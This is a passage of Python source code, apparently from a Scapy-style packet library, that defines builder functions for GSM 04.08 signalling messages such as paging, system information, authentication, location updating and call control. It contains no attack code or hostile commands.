StartingTime_presence is 1: k = StartingTimeHdr(ieiST=0x7C, eightBitST=0x0) packet = packet / k l = IaRestOctets() packet = packet / l return packet #The L2 pseudo length of this message is the sum of lengths of all #information elements present in the message except #the IAX Rest Octets and L2 Pseudo Length information elements. # Network to MS def immediateAssignmentExtended(StartingTime_presence=0): """IMMEDIATE ASSIGNMENT EXTENDED Section 9.1.19""" a = L2PseudoLength() b = TpPd(pd=0x6) c = MessageType(mesType=0x39) # 00111001 d = PageModeAndSpareHalfOctets() f = ChannelDescription() g = RequestReference() h = TimingAdvance() i = MobileAllocation() packet = a / b / c / d / f / g / h / i if StartingTime_presence is 1: j = StartingTimeHdr(ieiST=0x7C, eightBitST=0x0) packet = packet / j k = IaxRestOctets() packet = packet / k return packet # This message has L2 pseudo length 19 # Network to MS def immediateAssignmentReject(): """IMMEDIATE ASSIGNMENT REJECT Section 9.1.20""" a = L2PseudoLength(l2pLength=0x13) b = TpPd(pd=0x6) c = MessageType(mesType=0x3a) # 00111010 d = PageModeAndSpareHalfOctets() f = RequestReference() g = WaitIndication() h = RequestReference() i = WaitIndication() j = RequestReference() k = WaitIndication() l = RequestReference() m = WaitIndication() n = IraRestOctets() packet = a / b / c / d / f / g / h / i / j / k / l / m / n return packet def measurementReport(): """MEASUREMENT REPORT Section 9.1.21""" a = TpPd(pd=0x6) b = MessageType(mesType=0x15) # 00010101 c = MeasurementResults() packet = a / b / c return packet # len max 20 class NotificationFacch(): """NOTIFICATION/FACCH Section 9.1.21a""" name = "Notification/facch" fields_desc = [ BitField("rr", 0x0, 1), BitField("msgTyoe", 0x0, 5), BitField("layer2Header", 0x0, 2), BitField("frChanDes", 0x0, 24) ] # The L2 pseudo length of this message has a value one # Network to MS def notificationNch(): """NOTIFICATION/NCH Section 9.1.21b""" a = L2PseudoLength(l2pLength=0x01) b = TpPd(pd=0x6) c = MessageType(mesType=0x20) # 00100000 d = NtNRestOctets() packet = a / b / c / d return packet def notificationResponse(): """NOTIFICATION RESPONSE Section 9.1.21d""" a = TpPd(pd=0x6) b = MessageType(mesType=0x26) # 00100110 c = MobileStationClassmark2() d = MobileId() e = DescriptiveGroupOrBroadcastCallReference() packet = a / b / c / d / e return packet # Network to MS def rrCellChangeOrder(): """RR-CELL CHANGE ORDER Section 9.1.21e""" a = TpPd(pd=0x6) b = MessageType(mesType=0x8) # 00001000 c = CellDescription() d = NcModeAndSpareHalfOctets() packet = a / b / c / d return packet # Network to MS def pagingRequestType1(MobileId_presence=0): """PAGING REQUEST TYPE 1 Section 9.1.22""" #The L2 pseudo length of this message is the sum of lengths of all #information elements present in the message except #the P1 Rest Octets and L2 Pseudo Length information elements. a = L2PseudoLength() b = TpPd(pd=0x6) c = MessageType(mesType=0x21) # 00100001 d = PageModeAndChannelNeeded() f = MobileId() packet = a / b / c / d / f if MobileId_presence is 1: g = MobileIdHdr(ieiMI=0x17, eightBitMI=0x0) packet = packet / g h = P1RestOctets() packet = packet / h return packet # The L2 pseudo length of this message is the sum of lengths of all # information elements present in the message except # Network to MS def pagingRequestType2(MobileId_presence=0): """PAGING REQUEST TYPE 2 Section 9.1.23""" a = L2PseudoLength() b = TpPd(pd=0x6) c = MessageType(mesType=0x22) # 00100010 d = PageModeAndChannelNeeded() f = MobileId() g = MobileId() packet = a / b / c / d / f / g if MobileId_presence is 1: h = MobileIdHdr(ieiMI=0x17, eightBitMI=0x0) packet = packet / h i = P2RestOctets() packet = packet / i return packet # Network to MS def pagingRequestType3(): """PAGING REQUEST TYPE 3 Section 9.1.24""" # This message has a L2 Pseudo Length of 19 a = L2PseudoLength(l2pLength=0x13) b = TpPd(pd=0x6) c = MessageType(mesType=0x24) # 00100100 d = PageModeAndChannelNeeded() e = TmsiPTmsi() f = TmsiPTmsi() g = TmsiPTmsi() h = TmsiPTmsi() i = P3RestOctets() packet = a / b / c / d / e / f / g / h / i return packet def pagingResponse(): """PAGING RESPONSE Section 9.1.25""" a = TpPd(pd=0x6) b = MessageType(mesType=0x27) # 00100111 c = CiphKeySeqNrAndSpareHalfOctets() d = MobileStationClassmark2() e = MobileId() packet = a / b / c / d / e return packet # Network to MS def partialRelease(): """PARTIAL RELEASE Section 9.1.26""" a = TpPd(pd=0x6) b = MessageType(mesType=0xa) # 00001010 c = ChannelDescription() packet = a / b / c return packet def partialReleaseComplete(): """PARTIAL RELEASE COMPLETE Section 9.1.27""" a = TpPd(pd=0x6) b = MessageType(mesType=0xf) # 00001111 packet = a / b return packet # Network to MS def physicalInformation(): """PHYSICAL INFORMATION Section 9.1.28""" a = TpPd(pd=0x6) b = MessageType(mesType=0x2d) # 00101101 c = TimingAdvance() packet = a / b / c return packet def rrInitialisationRequest(): """RR Initialisation Request Section 9.1.28.a""" a = TpPd(pd=0x6) b = MessageType(mesType=0x3c) # 00111100 c = CiphKeySeqNrAndMacModeAndChannelCodingRequest() e = MobileStationClassmark2() f = Tlli() g = ChannelRequestDescription() h = GprsMeasurementResults() packet = a / b / c / e / f / g / h return packet def rrStatus(): """RR STATUS Section 9.1.29""" a = TpPd(pd=0x6) b = MessageType(mesType=0x12) # 00010010 c = RrCause() packet = a / b / c return packet # It does not # follow the basic format. Its length is _25_ bits. The # order of bit transmission is defined in GSM 04.04. # Network to MS class SynchronizationChannelInformation(): """SYNCHRONIZATION CHANNEL INFORMATION Section 9.1.30""" name = "Synchronization Channel Information" fields_desc = [ BitField("bsic", 0x0, 5), BitField("t1Hi", 0x0, 3), ByteField("t1Mi", 0x0), BitField("t1Lo", 0x0, 1), BitField("t2", 0x0, 5), BitField("t3Hi", 0x0, 2), BitField("t3Lo", 0x0, 1) ] # This message has a L2 Pseudo Length of 21. # Network to MS def systemInformationType1(): """SYSTEM INFORMATION TYPE 1 Section 9.1.31""" a = L2PseudoLength(l2pLength=0x15) b = TpPd(pd=0x6) c = MessageType(mesType=0x19) # 00011001 d = CellChannelDescription() e = RachControlParameters() f = Si1RestOctets() packet = a / b / c / d / e / f return packet # This message has a L2 Pseudo Length of 22. # Network to MS def systemInformationType2(): """SYSTEM INFORMATION TYPE 2 Section 9.1.32""" a = L2PseudoLength(l2pLength=0x16) b = TpPd(pd=0x6) c = MessageType(mesType=0x1a) # 00011010 d = NeighbourCellsDescription() e = NccPermitted() f = RachControlParameters() packet = a / b / c / d / e / f return packet # This message has a L2 pseudo length of 21 # Network to MS def systemInformationType2bis(): """SYSTEM INFORMATION TYPE 2bis Section 9.1.33""" a = L2PseudoLength(l2pLength=0x15) b = TpPd(pd=0x6) c = MessageType(mesType=0x2) # 00000010 d = NeighbourCellsDescription() e = RachControlParameters() f = Si2bisRestOctets() packet = a / b / c / d / e / f return packet # This message has a L2 pseudo length of 18 # Network to MS def systemInformationType2ter(): """SYSTEM INFORMATION TYPE 2ter Section 9.1.34""" a = L2PseudoLength(l2pLength=0x12) b = TpPd(pd=0x6) c = MessageType(mesType=0x3) # 00000011 d = NeighbourCellsDescription2() e = Si2terRestOctets() packet = a / b / c / d / e return packet # This message has a L2 Pseudo Length of 18 # Network to MS def systemInformationType3(): """SYSTEM INFORMATION TYPE 3 Section 9.1.35""" a = L2PseudoLength(l2pLength=0x12) b = TpPd(pd=0x6) c = MessageType(mesType=0x1b) # 00011011 d = CellIdentity() e = LocalAreaId() f = ControlChannelDescription() g = CellOptionsBCCH() h = CellSelectionParameters() i = RachControlParameters() j = Si3RestOctets() packet = a / b / c / d / e / f / g / h / i / j return packet #The L2 pseudo length of this message is the #sum of lengths of all information elements present in the message except #the SI 4 Rest Octets and L2 Pseudo Length # Network to MS def systemInformationType4(ChannelDescription_presence=0, MobileAllocation_presence=0): """SYSTEM INFORMATION TYPE 4 Section 9.1.36""" a = L2PseudoLength() b = TpPd(pd=0x6) c = MessageType(mesType=0x1C) # 000111100 d = LocalAreaId() e = CellSelectionParameters() f = RachControlParameters() packet = a / b / c / d / e / f if ChannelDescription_presence is 1: g = ChannelDescriptionHdr(ieiCD=0x64, eightBitCD=0x0) packet = packet / g if MobileAllocation_presence is 1: h = MobileAllocationHdr(ieiMA=0x72, eightBitMA=0x0) packet = packet / h i = Si4RestOctets() packet = packet / i return packet #This message has a L2 Pseudo Length of 18 # Network to MS def systemInformationType5(): """SYSTEM INFORMATION TYPE 5 Section 9.1.37""" a = L2PseudoLength(l2pLength=0x12) b = TpPd(pd=0x6) c = MessageType(mesType=0x35) # 000110101 d = NeighbourCellsDescription() packet = a / b / c / d return packet #This message has a L2 Pseudo Length of 18 # Network to MS def systemInformationType5bis(): """SYSTEM INFORMATION TYPE 5bis Section 9.1.38""" a = L2PseudoLength(l2pLength=0x12) b = TpPd(pd=0x6) c = MessageType(mesType=0x5) # 00000101 d = NeighbourCellsDescription() packet = a / b / c / d return packet # This message has a L2 Pseudo Length of 18 # Network to MS def systemInformationType5ter(): """SYSTEM INFORMATION TYPE 5ter Section 9.1.39""" a = L2PseudoLength(l2pLength=0x12) b = TpPd(pd=0x6) c = MessageType(mesType=0x6) # 00000110 d = NeighbourCellsDescription2() packet = a / b / c / d return packet #This message has a L2 Pseudo Length of 11 # Network to MS def systemInformationType6(): """SYSTEM INFORMATION TYPE 6 Section 9.1.40""" a = L2PseudoLength(l2pLength=0x0b) b = TpPd(pd=0x6) c = MessageType(mesType=0x1e) # 00011011 d = CellIdentity() e = LocalAreaId() f = CellOptionsBCCH() g = NccPermitted() h = Si6RestOctets() packet = a / b / c / d / e / f / g return packet # The L2 pseudo length of this message has the value 1 # Network to MS def systemInformationType7(): """SYSTEM INFORMATION TYPE 7 Section 9.1.41""" a = L2PseudoLength(l2pLength=0x01) b = TpPd(pd=0x6) c = MessageType(mesType=0x37) # 000110111 d = Si7RestOctets() packet = a / b / c / d return packet # The L2 pseudo length of this message has the value 1 # Network to MS def systemInformationType8(): """SYSTEM INFORMATION TYPE 8 Section 9.1.42""" a = L2PseudoLength(l2pLength=0x01) b = TpPd(pd=0x6) c = MessageType(mesType=0x18) # 00011000 d = Si8RestOctets() packet = a / b / c / d return packet # The L2 pseudo length of this message has the value 1 # Network to MS def systemInformationType9(): """SYSTEM INFORMATION TYPE 9 Section 9.1.43""" a = L2PseudoLength(l2pLength=0x01) b = TpPd(pd=0x6) c = MessageType(mesType=0x4) # 00000100 d = Si9RestOctets() packet = a / b / c / d return packet # The L2 pseudo length of this message has the value 0 # Network to MS def systemInformationType13(): """SYSTEM INFORMATION TYPE 13 Section 9.1.43a""" a = L2PseudoLength(l2pLength=0x00) b = TpPd(pd=0x6) c = MessageType(mesType=0x0) # 00000000 d = Si13RestOctets() packet = a / b / c / d return packet # # 9.1.43b / c spare # # The L2 pseudo length of this message has the value 1 # Network to MS def systemInformationType16(): """SYSTEM INFORMATION TYPE 16 Section 9.1.43d""" a = L2PseudoLength(l2pLength=0x01) b = TpPd(pd=0x6) c = MessageType(mesType=0x3d) # 00111101 d = Si16RestOctets() packet = a / b / c / d return packet # The L2 pseudo length of this message has the value 1 # Network to MS def systemInformationType17(): """SYSTEM INFORMATION TYPE 17 Section 9.1.43e""" a = L2PseudoLength(l2pLength=0x01) b = TpPd(pd=0x6) c = MessageType(mesType=0x3e) # 00111110 d = Si17RestOctets() packet = a / b / c / d return packet def talkerIndication(): """TALKER INDICATION Section 9.1.44""" a = TpPd(pd=0x6) b = MessageType(mesType=0x11) # 00010001 c = MobileStationClassmark2() d = MobileId() packet = a / b / c / d return packet class UplinkAccess(): """UPLINK ACCESS Section 9.1.45""" name = "Uplink Access" fields_desc = [ ByteField("establishment", 0x0) ] # Network to MS def uplinkBusy(): """UPLINK BUSY Section 9.1.46""" name = "Uplink Busy" a = TpPd(pd=0x6) b = MessageType(mesType=0x2a) # 00101010 packet = a / b return packet # Network to MS class UplinkFree(): """UPLINK FREE Section 9.1.47""" name = "Uplink Free" fields_desc = [ BitField("pd", 0x0, 1), BitField("msgType", 0x0, 5), BitField("layer2Header", 0x0, 2), BitField("uplinkAccess", 0x0, 1), BitField("lOrH", 0x0, 1), # 0 for L, 1 for H BitField("upIdCode", 0x0, 6), ] def uplinkRelease(): """UPLINK RELEASE Section 9.1.48""" a = TpPd(pd=0x6) b = MessageType(mesType=0xe) # 00001110 c = RrCause() packet = a / b / c return packet # Network to MS def vgcsUplinkGrant(): """VGCS UPLINK GRANT Section 9.1.49""" a = TpPd(pd=0x6) b = MessageType(mesType=0x9) # 00001001 c = RrCause() d = RequestReference() e = TimingAdvance() packet = a / b / c / d / e return packet # Network to MS def systemInformationType10(): """SYSTEM INFORMATION TYPE 10 Section 9.1.50""" name = "SyStem Information Type 10" fields_desc = [ BitField("pd", 0x0, 1), BitField("msgType", 0x0, 5), BitField("layer2Header", 0x0, 2), BitField("si10", 0x0, 160) ] # Network to MS # The L2 pseudo length of this message has the value 18 def extendedMeasurementOrder(): """EXTENDED MEASUREMENT ORDER Section 9.1.51""" a = L2PseudoLength(l2pLength=0x12) b = TpPd(pd=0x6) c = MessageType(mesType=0x37) # 00110111 d = ExtendedMeasurementFrequencyList() packet = a / b / c / d return packet def extendedMeasurementReport(): """EXTENDED MEASUREMENT REPORT Section 9.1.52""" a = TpPd(pd=0x6) b = MessageType(mesType=0x36) # 00110110 c = ExtendedMeasurementResults() packet = a / b / c return packet def applicationInformation(): """APPLICATION INFORMATION Section 9.1.53""" a = TpPd(pd=0x6) b = MessageType(mesType=0x38) # 00111000 c = ApduIDAndApduFlags() e = ApduData() packet = a / b / c / e return packet # # 9.2 Messages for mobility management # # Network to MS def authenticationReject(): """AUTHENTICATION REJECT Section 9.2.1""" a = TpPd(pd=0x5) b = MessageType(mesType=0x11) # 00010001 packet = a / b return packet # Network to MS def authenticationRequest(): """AUTHENTICATION REQUEST Section 9.2.2""" a = TpPd(pd=0x5) b = MessageType(mesType=0x12) # 00010010 c = CiphKeySeqNrAndSpareHalfOctets() d = AuthenticationParameterRAND() packet = a / b / c / d return packet def authenticationResponse(): """AUTHENTICATION RESPONSE Section 9.2.3""" a = TpPd(pd=0x5) b = MessageType(mesType=0x14) # 00010100 c = AuthenticationParameterSRES() packet = a / b / c return packet def cmReestablishmentRequest(LocalAreaId_presence=0): """CM RE-ESTABLISHMENT REQUEST Section 9.2.4""" a = TpPd(pd=0x5) b = MessageType(mesType=0x28) # 00101000 c = CiphKeySeqNrAndSpareHalfOctets() e = MobileStationClassmark2() f = MobileId() if LocalAreaId_presence is 1: g = LocalAreaId(iei=0x13, eightbit=0x0) packet = packet / g packet = a / b / c / e / f return packet # Network to MS def cmServiceAccept(): """CM SERVICE ACCEPT Section 9.2.5""" a = TpPd(pd=0x5) b = MessageType(mesType=0x21) # 00100001 packet = a / b return packet # Network to MS def cmServicePrompt(): """CM SERVICE PROMPT Section 9.2.5a""" a = TpPd(pd=0x5) b = MessageType(mesType=0x25) # 00100101 c = PdAndSapi() packet = a / b / c return packet # Network to MS def cmServiceReject(): """CM SERVICE REJECT Section 9.2.6""" a = TpPd(pd=0x5) b = MessageType(mesType=0x22) # 00100010 c = RejectCause() packet = a / b / c return packet def cmServiceAbort(): """CM SERVICE ABORT Section 9.2.7""" a = TpPd(pd=0x5) b = MessageType(mesType=0x23) # 00100011 packet = a / b return packet # Network to MS def abort(): """ABORT Section 9.2.8""" a = TpPd(pd=0x5) b = MessageType(mesType=0x29) # 00101001 c = RejectCause() packet = a / b / c return packet def cmServiceRequest(PriorityLevel_presence=0): """CM SERVICE REQUEST Section 9.2.9""" a = TpPd(pd=0x5) b = MessageType(mesType=0x24) # 00100100 c = CmServiceTypeAndCiphKeySeqNr() e = MobileStationClassmark2() f = MobileId() packet = a / b / c / e / f if PriorityLevel_presence is 1: g = PriorityLevelHdr(ieiPL=0x8, eightBitPL=0x0) packet = packet / g return packet # Network to MS def identityRequest(): """IDENTITY REQUEST Section 9.2.10""" a = TpPd(pd=0x5) b = MessageType(mesType=0x8) # 00001000 c = IdentityTypeAndSpareHalfOctets() packet = a / b / c return packet def identityResponse(): """IDENTITY RESPONSE Section 9.2.11""" a = TpPd(pd=0x5) b = MessageType(mesType=0x9) # 00001001 c = MobileId() packet = a / b / c return packet def imsiDetachIndication(): """IMSI DETACH INDICATION Section 9.2.12""" a = TpPd(pd=0x5) b = MessageType(mesType=0x1) # 00000001 c = MobileStationClassmark1() d = MobileId() packet = a / b / c / d return packet # Network to MS def locationUpdatingAccept(MobileId_presence=0, FollowOnProceed_presence=0, CtsPermission_presence=0): """LOCATION UPDATING ACCEPT Section 9.2.13""" a = TpPd(pd=0x5) b = MessageType(mesType=0x02) # 00000010 c = LocalAreaId() packet = a / b / c if MobileId_presence is 1: d = MobileIdHdr(ieiMI=0x17, eightBitMI=0x0) packet = packet / d if FollowOnProceed_presence is 1: e = FollowOnProceed(ieiFOP=0xA1) packet = packet / e if CtsPermission_presence is 1: f = CtsPermissionHdr(ieiCP=0xA2, eightBitCP=0x0) packet = packet / f return packet # Network to MS def locationUpdatingReject(): """LOCATION UPDATING REJECT Section 9.2.14""" a = TpPd(pd=0x5) b = MessageType(mesType=0x4) # 0x00000100 c = RejectCause() packet = a / b / c return packet def locationUpdatingRequest(): """LOCATION UPDATING REQUEST Section 9.2.15""" a = TpPd(pd=0x5) b = MessageType(mesType=0x8) # 00001000 c = LocationUpdatingTypeAndCiphKeySeqNr() e = LocalAreaId() f = MobileStationClassmark1() g = MobileId() packet = a / b / c / e / f / g return packet # Network to MS def mmInformation(NetworkName_presence=0, NetworkName_presence1=0, TimeZone_presence=0, TimeZoneAndTime_presence=0, LsaIdentifier_presence=0): """MM INFORMATION Section 9.2.15a""" a = TpPd(pd=0x5) b = MessageType(mesType=0x32) # 00110010 packet = a / b if NetworkName_presence is 1: c = NetworkNameHdr(ieiNN=0x43, eightBitNN=0x0) packet = packet / c if NetworkName_presence1 is 1: d = NetworkNameHdr(ieiNN=0x45, eightBitNN=0x0) packet = packet / d if TimeZone_presence is 1: e = TimeZoneHdr(ieiTZ=0x46, eightBitTZ=0x0) packet = packet / e if TimeZoneAndTime_presence is 1: f = TimeZoneAndTimeHdr(ieiTZAT=0x47, eightBitTZAT=0x0) packet = packet / f if LsaIdentifier_presence is 1: g = LsaIdentifierHdr(ieiLI=0x48, eightBitLI=0x0) packet = packet / g return packet def mmStatus(): """MM STATUS Section 9.2.16""" a = TpPd(pd=0x5) b = MessageType(mesType=0x31) # 00110001 c = RejectCause() packet = a / b / c return packet # Network to MS def tmsiReallocationCommand(): """TMSI REALLOCATION COMMAND Section 9.2.17""" a = TpPd(pd=0x5) b = MessageType(mesType=0x1a) # 00011010 c = LocalAreaId() d = MobileId() packet = a / b / c / d return packet def tmsiReallocationComplete(): """TMSI REALLOCATION COMPLETE Section 9.2.18""" a = TpPd(pd=0x5) b = MessageType(mesType=0x1b) # 00011011 packet = a / b return packet def mmNull(): """MM NULL Section 9.2.19""" a = TpPd(pd=0x5) b = MessageType(mesType=0x30) # 00110000 packet = a / b return packet # # 9.3 Messages for circuit-switched call control # # Network to MS def alertingNetToMs(Facility_presence=0, ProgressIndicator_presence=0, UserUser_presence=0): """ALERTING Section 9.3.1.1""" a = TpPd(pd=0x3) b = MessageType(mesType=0x1) # 00000001 packet = a / b if Facility_presence is 1: c = FacilityHdr(ieiF=0x1C) packet = packet / c if ProgressIndicator_presence is 1: d = ProgressIndicatorHdr(ieiPI=0x1E) packet = packet / d if UserUser_presence is 1: e = UserUserHdr(ieiUU=0x7E) packet = packet / e return packet def alertingMsToNet(Facility_presence=0, UserUser_presence=0, SsVersionIndicator_presence=0): """ALERTING Section 9.3.1.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x1) # 00000001 packet = a / b if Facility_presence is 1: c = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / c if UserUser_presence is 1: d = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0) packet = packet / d if SsVersionIndicator_presence is 1: e = SsVersionIndicatorHdr(ieiSVI=0x7F, eightBitSVI=0x0) packet = packet / e return packet def callConfirmed(RepeatIndicator_presence=0, BearerCapability_presence=0, BearerCapability_presence1=0, Cause_presence=0, CallControlCapabilities_presence=0): """CALL CONFIRMED Section 9.3.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x8) # 00001000 packet = a / b if RepeatIndicator_presence is 1: c = RepeatIndicatorHdr(ieiRI=0xD, eightBitRI=0x0) packet = packet / c if BearerCapability_presence is 1: d = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / d if BearerCapability_presence1 is 1: e = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / e if Cause_presence is 1: f = CauseHdr(ieiC=0x08, eightBitC=0x0) packet = packet / f if CallControlCapabilities_presence is 1: g = CallControlCapabilitiesHdr(ieiCCC=0x15, eightBitCCC=0x0) packet = packet / g return packet # Network to MS def callProceeding(RepeatIndicator_presence=0, BearerCapability_presence=0, BearerCapability_presence1=0, Facility_presence=0, ProgressIndicator_presence=0, PriorityLevel_presence=0): """CALL PROCEEDING Section 9.3.3""" a = TpPd(pd=0x3) b = MessageType(mesType=0x2) # 00000010 packet = a / b if RepeatIndicator_presence is 1: c = RepeatIndicatorHdr(ieiRI=0xD, eightBitRI=0x0) packet = packet / c if BearerCapability_presence is 1: d = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / d if BearerCapability_presence1 is 1: e = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / e if Facility_presence is 1: f = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / f if ProgressIndicator_presence is 1: g = ProgressIndicatorHdr(ieiPI=0x1E, eightBitPI=0x0) packet = packet / g if PriorityLevel_presence is 1: h = PriorityLevelHdr(ieiPL=0x80, eightBitPL=0x0) packet = packet / h return packet # Network to MS def congestionControl(Cause_presence=0): """CONGESTION CONTROL Section 9.3.4""" a = TpPd(pd=0x3) b = MessageType(mesType=0x39) # 00111001 c = CongestionLevelAndSpareHalfOctets() packet = a / b / c if Cause_presence is 1: e = CauseHdr(ieiC=0x08, eightBitC=0x0) packet = packet / e return packet # Network to MS def connectNetToMs(Facility_presence=0, ProgressIndicator_presence=0, ConnectedNumber_presence=0, ConnectedSubaddress_presence=0, UserUser_presence=0): """CONNECT Section 9.3.5.1""" a = TpPd(pd=0x3) b = MessageType(mesType=0x7) # 00000111 packet = a / b if Facility_presence is 1: c = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / c if ProgressIndicator_presence is 1: d = ProgressIndicatorHdr(ieiPI=0x1E, eightBitPI=0x0) packet = packet / d if ConnectedNumber_presence is 1: e = ConnectedNumberHdr(ieiCN=0x4C, eightBitCN=0x0) packet = packet / e if ConnectedSubaddress_presence is 1: f = ConnectedSubaddressHdr(ieiCS=0x4D, eightBitCS=0x0) packet = packet / f if UserUser_presence is 1: g = UserUserHdr(ieiUU=0x7F, eightBitUU=0x0) packet = packet / g return packet def connectMsToNet(Facility_presence=0, ConnectedSubaddress_presence=0, UserUser_presence=0, SsVersionIndicator_presence=0): """CONNECT Section 9.3.5.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x7) # 00000111 packet = a / b if Facility_presence is 1: c = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / c if ConnectedSubaddress_presence is 1: d = ConnectedSubaddressHdr(ieiCS=0x4D, eightBitCS=0x0) packet = packet / d if UserUser_presence is 1: e = UserUserHdr(ieiUU=0x7F, eightBitUU=0x0) packet = packet / e if SsVersionIndicator_presence is 1: f = SsVersionIndicatorHdr(ieiSVI=0x7F, eightBitSVI=0x0) packet = packet / f return packet def connectAcknowledge(): """CONNECT ACKNOWLEDGE Section 9.3.6""" a = TpPd(pd=0x3) b = MessageType(mesType=0xf) # 00001111 packet = a / b return packet # Network to MS def disconnectNetToMs(Facility_presence=0, ProgressIndicator_presence=0, UserUser_presence=0, AllowedActions_presence=0): """DISCONNECT Section 9.3.7.1""" a = TpPd(pd=0x3) b = MessageType(mesType=0x25) # 00100101 c = Cause() packet = a / b / c if Facility_presence is 1: d = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / d if ProgressIndicator_presence is 1: e = ProgressIndicatorHdr(ieiPI=0x1E, eightBitPI=0x0) packet = packet / e if UserUser_presence is 1: f = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0) packet = packet / f if AllowedActions_presence is 1: g = AllowedActionsHdr(ieiAA=0x7B, eightBitAA=0x0) packet = packet / g return packet def disconnectMsToNet(Facility_presence=0, UserUser_presence=0, SsVersionIndicator_presence=0): """Disconnect Section 9.3.7.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x25) # 00100101 c = Cause() packet = a / b / c if Facility_presence is 1: d = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / d if UserUser_presence is 1: e = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0) packet = packet / e if SsVersionIndicator_presence is 1: f = SsVersionIndicatorHdr(ieiSVI=0x7F, eightBitSVI=0x0) packet = packet / f return packet def emergencySetup(BearerCapability_presence=0): """EMERGENCY SETUP Section 9.3.8""" a = TpPd(pd=0x3) b = MessageType(mesType=0xe) # 00001110 packet = a / b if BearerCapability_presence is 1: c = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / c return packet # Network to MS def facilityNetToMs(): """FACILITY Section 9.3.9.1""" a = TpPd(pd=0x3) b = MessageType(mesType=0x3a) # 00111010 c = Facility() packet = a / b / c return packet def facilityMsToNet(SsVersionIndicator_presence=0): """FACILITY Section 9.3.9.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x3a) # 00111010 c = Facility() packet = a / b / c if SsVersionIndicator_presence is 1: d = SsVersionIndicatorHdr(ieiSVI=0x7F, eightBitSVI=0x0) packet = packet / d return packet def hold(): """HOLD Section 9.3.10""" a = TpPd(pd=0x3) b = MessageType(mesType=0x18) # 00011000 packet = a / b return packet # Network to MS def holdAcknowledge(): """HOLD ACKNOWLEDGE Section 9.3.11""" a = TpPd(pd=0x3) b = MessageType(mesType=0x19) # 00011001 packet = a / b return packet # Network to MS def holdReject(): """HOLD REJECT Section 9.3.12""" a = TpPd(pd=0x3) b = MessageType(mesType=0x1a) # 00011010 c = Cause() packet = a / b / c return packet def modify(LowLayerCompatibility_presence=0, HighLayerCompatibility_presence=0, ReverseCallSetupDirection_presence=0): """MODIFY Section 9.3.13""" a = TpPd(pd=0x3) b = MessageType(mesType=0x17) # 00010111 c = BearerCapability() packet = a / b / c if LowLayerCompatibility_presence is 1: d = LowLayerCompatibilityHdr(ieiLLC=0x7C, eightBitLLC=0x0) packet = packet / d if HighLayerCompatibility_presence is 1: e = HighLayerCompatibilityHdr(ieiHLC=0x7D, eightBitHLC=0x0) packet = packet / e if ReverseCallSetupDirection_presence is 1: f = ReverseCallSetupDirectionHdr(ieiRCSD=0xA3) packet = packet / f return packet def modifyComplete(LowLayerCompatibility_presence=0, HighLayerCompatibility_presence=0, ReverseCallSetupDirection_presence=0): """MODIFY COMPLETE Section 9.3.14""" a = TpPd(pd=0x3) b = MessageType(mesType=0x1f) # 00011111 c = BearerCapability() packet = a / b / c if LowLayerCompatibility_presence is 1: d = LowLayerCompatibilityHdr(ieiLLC=0x7C, eightBitLLC=0x0) packet = packet / d if HighLayerCompatibility_presence is 1: e = HighLayerCompatibilityHdr(ieiHLC=0x7D, eightBitHLC=0x0) packet = packet / e if ReverseCallSetupDirection_presence is 1: f = ReverseCallSetupDirection(ieiRCSD=0xA3) packet = packet / f return packet def modifyReject(LowLayerCompatibility_presence=0, HighLayerCompatibility_presence=0): """MODIFY REJECT Section 9.3.15""" a = TpPd(pd=0x3) b = MessageType(mesType=0x13) # 00010011 c = BearerCapability() d = Cause() packet = a / b / c / d if LowLayerCompatibility_presence is 1: e = LowLayerCompatibilityHdr(ieiLLC=0x7C, eightBitLLC=0x0) packet = packet / e if HighLayerCompatibility_presence is 1: f = HighLayerCompatibilityHdr(ieiHLC=0x7D, eightBitHLC=0x0) packet = packet / f return packet def notify(): """NOTIFY Section 9.3.16""" a = TpPd(pd=0x3) b = MessageType(mesType=0x3e) # 00111110 c = NotificationIndicator() packet = a / b / c return packet # Network to MS def progress(UserUser_presence=0): """PROGRESS Section 9.3.17""" a = TpPd(pd=0x3) b = MessageType(mesType=0x3) # 00000011 c = ProgressIndicator() packet = a / b / c if UserUser_presence is 1: d = UserUserHdr() packet = packet / d return packet # Network to MS def ccEstablishment(): """CC-ESTABLISHMENT Section 9.3.17a""" a = TpPd(pd=0x3) b = MessageType(mesType=0x4) # 00000100 c = SetupContainer() packet = a / b / c return packet def ccEstablishmentConfirmed(RepeatIndicator_presence=0, BearerCapability_presence=0, BearerCapability_presence1=0, Cause_presence=0): """CC-ESTABLISHMENT CONFIRMED Section 9.3.17b""" a = TpPd(pd=0x3) b = MessageType(mesType=0x6) # 00000110 packet = a / b if RepeatIndicator_presence is 1: c = RepeatIndicatorHdr(ieiRI=0xD, eightBitRI=0x0) packet = packet / c if BearerCapability_presence is 1: d = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / d if BearerCapability_presence1 is 1: e = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / e if Cause_presence is 1: f = CauseHdr(ieiC=0x08, eightBitC=0x0) packet = packet / f return packet # Network to MS def releaseNetToMs(): """RELEASE Section 9.3.18.1""" a = TpPd(pd=0x3) b = MessageType(mesType=0x2d) # 00101101 c = CauseHdr(ieiC=0x08, eightBitC=0x0) d = CauseHdr(ieiC=0x08, eightBitC=0x0) e = FacilityHdr(ieiF=0x1C, eightBitF=0x0) f = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0) packet = a / b / c / d / e / f return packet def releaseMsToNet(Cause_presence=0, Cause_presence1=0, 